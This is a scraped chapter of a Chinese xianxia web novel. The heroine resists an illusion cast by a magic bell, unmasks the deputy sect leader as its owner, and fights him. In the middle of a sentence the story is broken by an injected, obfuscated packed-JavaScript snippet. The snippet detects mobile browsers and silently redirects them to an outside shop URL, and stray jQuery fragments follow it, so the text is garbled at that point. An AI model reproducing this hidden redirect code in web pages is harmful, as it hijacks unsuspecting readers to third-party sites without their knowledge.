文趣网 > 都市小说 > 死对头是我傀儡 > 17. 持身莫贪
    王钢铁从来不知道日子可以这么轻松。

    现实里她不得不背负上还不起的债,可在幻境里,她只需要操心庄稼的长势。

    母亲不再孱弱,父亲不再不作为,昔日顽劣的手足也学会了兄友弟恭。

    轻松。

    非常轻松的日子。

    轻松到有些寡淡。

    王钢铁捻着手里的草茎,仰头看天。

    刚才还刺目的阳光,随着她仰头的动作开始变得柔和。

    在这里,她可以随心所欲,世间万物任她允取允求。

    可这是幻境里。

    王钢铁扔下了草茎。

    她一直记得这是假的。

    可遗憾平息带来的快乐实在充足,她放纵自己享受了几天平静、轻松的日子。

    如今……该醒了。

    她还有很多事情没做,很多错误没有弥补。

    杀死江讷的水蛭妖、一直误导不许她回忆的孟鸿,还有不知生死的山尺、掩月……

    有些舒适,体验过就可以满足了。

    她得出去。

    她必须出去!

    王钢铁闭上了眼睛。

    方才还舒适无比的幻境突然变了脸色。

    温柔抚人的春风变为凛冽东风,卷起粗糙砂砾,直往她面上扑。阴云席卷而来,挡住日头,轰隆隆炸开雷声电光,誓要将她留在幻境里。

    有什么东西撕扯着她的身躯。王钢铁闭着眼睛不做理会。

    那层翳大约还在她眼睛上。

    一道道耳语现身,不同的人声在她耳边蛊惑哀求:

    “有力量真好。你走了我就只能是没用的老婆子。你不是一直希望我硬气起来吗?我需要力量——”

    这是母亲的。

    “我只有在这里还算活着。你回去了,我就只能死。你不记得我的名字,还要再杀我第二次?”

    这是……江讷的。

    王钢铁眼皮动了动。

    但仍是闭紧着,拒绝睁开。

    “我死的时候很年轻。你平时针对我我可以原谅,但你不能让我永远活在傀儡里头!”

    这是周不放。

    王钢铁握住拳头,用力地在身侧绷紧。大声告诫自己,企图以此掩盖住其他声音:

    都是假的!

    不许听!!!

    眼见蛊惑无用,所有人一齐开始了指责和谩骂。

    声声入耳,王钢铁抬手咬破指尖,蘸着鲜血,在心口反复描写着“莫贪”二字。

    莫贪。

    莫贪!

    莫贪!!

    不要贪念虚假。

    不要放纵自己遗忘。

    更不要,因此丢掉自己该走的路、该负的责任。

    “母亲,这都是假的。”

    王钢铁闭目喃喃,手指下的莫贪写到了第十遍,“就连……你,也是假的。你病死在我前头。

    我没能救回来你,对不起——”

    声音带着哽咽,下一秒又再度冷硬起来,“我得醒。那九万多枚铜板买不走我的命。”

    “江、师姐。”王钢铁慢慢吐着小石子一样的话,塞的她喉咙痛痒,鲜血淋漓。但不得不讲,“对不起。

    我必须走。

    我找到你的死因了。那个水蛭妖,我得去解决它,你的死我会替你讨回来。”

    “还有,周不放——”她顿了顿,艰难地继续念道,“你把自己的命给了我,我得接住它。

    我接住了,就不能再还回去。

    我不能让你送命后,还要再承接辜负。

    我得,找回你的肉身。”

    一句,一句,又一句。

    都是她曾经不敢面对的真相。

    如今在她说出来后,每一个字都化作一记重锤,一锤锤向着幻境敲去,同时也是在敲着她自己。

    虚妄破开,幻境褪色。

    翳,开始消散。

    田园收缩坍塌,入幻境前的屋宇一点点现身。

    王钢铁眼前模糊变清晰。

    她看到了一个人影。

    瘦削端方,握着一对暗金色的铃铛。

    铃铛下系着一条飘带。

    飘带划过铃铛,她认出来了,那是莫贪铃。

    执铃人看着她,忽然轻咦一声。

    音色熟悉。

    王钢铁思索着,眼前世界一点点复原。那个身影的边缘像磨锋利的刀,由钝变锐。

    她认出来了。

    眼前人,竟然是……傀儡派副掌门,不势客。

    曾朝她递过善意的不势客。

    可,为何不势客拿着莫贪铃?!

    王钢铁心海又翻波涛。

    谁都知道莫贪铃是掩月送给小孙女扶凌霄的。而认了主的莫贪铃,也只能被扶凌霄驱使。

    如今不势客拿着,还将一干人等带入幻境,说明什么?——

    惊讶、疑惑、不敢置信。“……扶凌霄?!”

    王钢铁冲口而出。

    正是扶凌霄。

    不势客笑了一笑。掀起唇角,破掉儒雅端方相,展露一口森森獠牙。

    他很久、很久没听到这个曾经的名字了。一边怀念,一边杀招又出。

    他冲着王钢铁,手中铃铛一晃,音网再度张开!

    王钢铁没有动。

    任由音网穿过身躯,轻轻落在地上。同时压下心海波涛。

    毫无作用。

    幻境已破,莫贪铃自然不能再奈何她。

    莫贪铃,遇到了第一个持身莫贪的人。

    不势客顿时拧起了眉。

    王钢铁趁势抬手,召出本命铁皮傀儡,朝着不势客猛攻而去。

    那傀儡足足有三个王钢铁那么大,周身铁皮,泛着银白色的光。

    握掌成拳,双拳再并,对准目标砸了下去。尚未接触到具体的人,拳风已砸裂了地上石砖。可以想见这一下砸到具体的人身上会如何。

    不势客极速后撤,堪堪躲开一击。

    拳风反推着他向后飞掠,他连忙伸手抓住了什么,借此维持稳身形。

    躲开猛攻的同时,心里一瞬间划过诸多惊疑。

    第一,有人破了他的莫贪铃。这是他最大的倚仗。

    第二,他疏于修炼,大约不是同为六阶的王钢铁的对手。真要胜也只能惨胜。

    第三,他可以拼尽修为抵挡,可大半灵力灌进了莫贪铃中,一旦撤走,现场所有被莫贪铃操控的修士都会醒来,局势会更加紧张。

    一个念头随即升起。

    所以,为今之计,只能逃。

    不势客心念电转,一刹那想好了退路。

    他佯装袭击地上的周不放,余光瞥向了王钢铁。

    王钢铁果然急忙撤回攻势,调转方向扑到了周不放身旁。

    露出了身后的窗户。

    不势客不在恋战,在空隙中转身就逃!一跃而起,与王钢铁擦身而过,游鱼一般顺着窗户游走。

    王钢铁皱眉,跟着回身要追。

    可身旁的周不放,忽然抓住了她的手。用力地、用力地带到他自己怀中。

    醒了?!

    王钢铁不再去追不势客,转而看向地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594251|205367||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上的周不放。

    随即失望地垂下肩膀。

    ……人还在幻境里。

    可王钢铁短短一念之差,便再追不上逃走的不势客。

    **

    王钢铁没急着抽回自己的手。不势客逃离,危机暂时解除,可以松一口气。

    莫贪铃已经撤走,等灵力耗尽,不用多久被铃音蛊惑的人就可以醒转。

    她蹲下,手由着周不放握着,神识探出覆盖整个天机阁。

    阁内诸人或倒或躺,尽数入了幻境。待客厅一片狼藉,周不放的大哥周不湍,发冠颠倒、形容狼狈,半卧在扶手椅中,双眼紧闭,额上还有豆大的汗珠。

    大约入幻境前还跟不势客有过一番缠斗。

    王钢铁取出一支线香,点燃。

    烟气扶摇直上,等整支点完,众人也就该醒了。

    王钢铁调息内视,此前身上的旧伤痕都被破溃丹治愈,而不势客新造成的□□伤势不多。可精神上的……

    她轻轻叹了口气。

    自己沉迷幻境不过几天,可休养回来却需要无数个日夜。

    毕竟没有任何丹药能治这种精神伤,必须自愈。

    心想事成的幻境,是光鲜亮丽的毒药。

    还好醒来的不算太晚。

    如果她在幻境中沉迷上月余,也就是现实过去一个时辰,就是必死无疑。

    如今从不势客出手到逃走,至多半个时辰,所有人的伤势都还可控。

    想到这儿,王钢铁松下心弦。脱力地看着线香,目光放空。

    一点香灰燃尽,从顶端坠下,在地上摔出一小块灰白痕迹。

    她蓦地回神。

    手上传来一股拉扯的力,她顺着看过去,看到了周不放。

    虽然人还昏迷,可握着她的手却一直没松。

    她愣愣地看着那只手。

    虽说现在面前的是她自己做的傀儡皮,可毕竟是一比一还原的本人形态。

    指骨细长,肤色白皙,无怪周不放惦记肉身,确实是好看的——

    咳。

    王钢铁手忙脚乱地咳嗽。

    掌心暖暖的,应该是周不放的体温。

    不知是否挣脱幻境用掉了太多毅力,她现在忍不住放纵自己去感受这点温度。

    是非常细腻的温热。

    片刻后,她又不自在地挠了挠对方掌心。

    不能乱想了。

    王钢铁强迫自己找了个问题。

    ……也不知,他的幻境会是什么样?

    复活,回到原本肉身?

    王钢铁偷偷来了兴致。

    不太好吧?……

    王钢铁垂下眼睫。遮住一半视野后,那一点鬼鬼祟祟的偷偷再度昂扬。

    ……只是看看。

    嗯。

    悄悄看,不会被发现的。

    况且……

    万一傀儡不会有幻境呢!那她只是看一看自己的,自己的!傀儡!!

    王钢铁点点头,肯定了这个况且和万一。

    慢慢探出一小缕神识,钻入了傀儡灵府之中。

    左眼瞬间联通幻境。

    王钢铁疑惑,环视四周,在看清周遭后,瞳孔蓦地紧缩。

    震怒、羞愤,还有一小股笃定被戏耍的痛,捎带上品不出来的酸涩,一大段复杂的情绪纷至沓来,王钢铁茫然无措的感受自己的心跳,随即惊疑不定地眨了眨眼。

    又眨了眨。

    怎么回事?!

    她竟然……竟然在周不放的幻境中,看到了她跟周不放的喜宴现场?……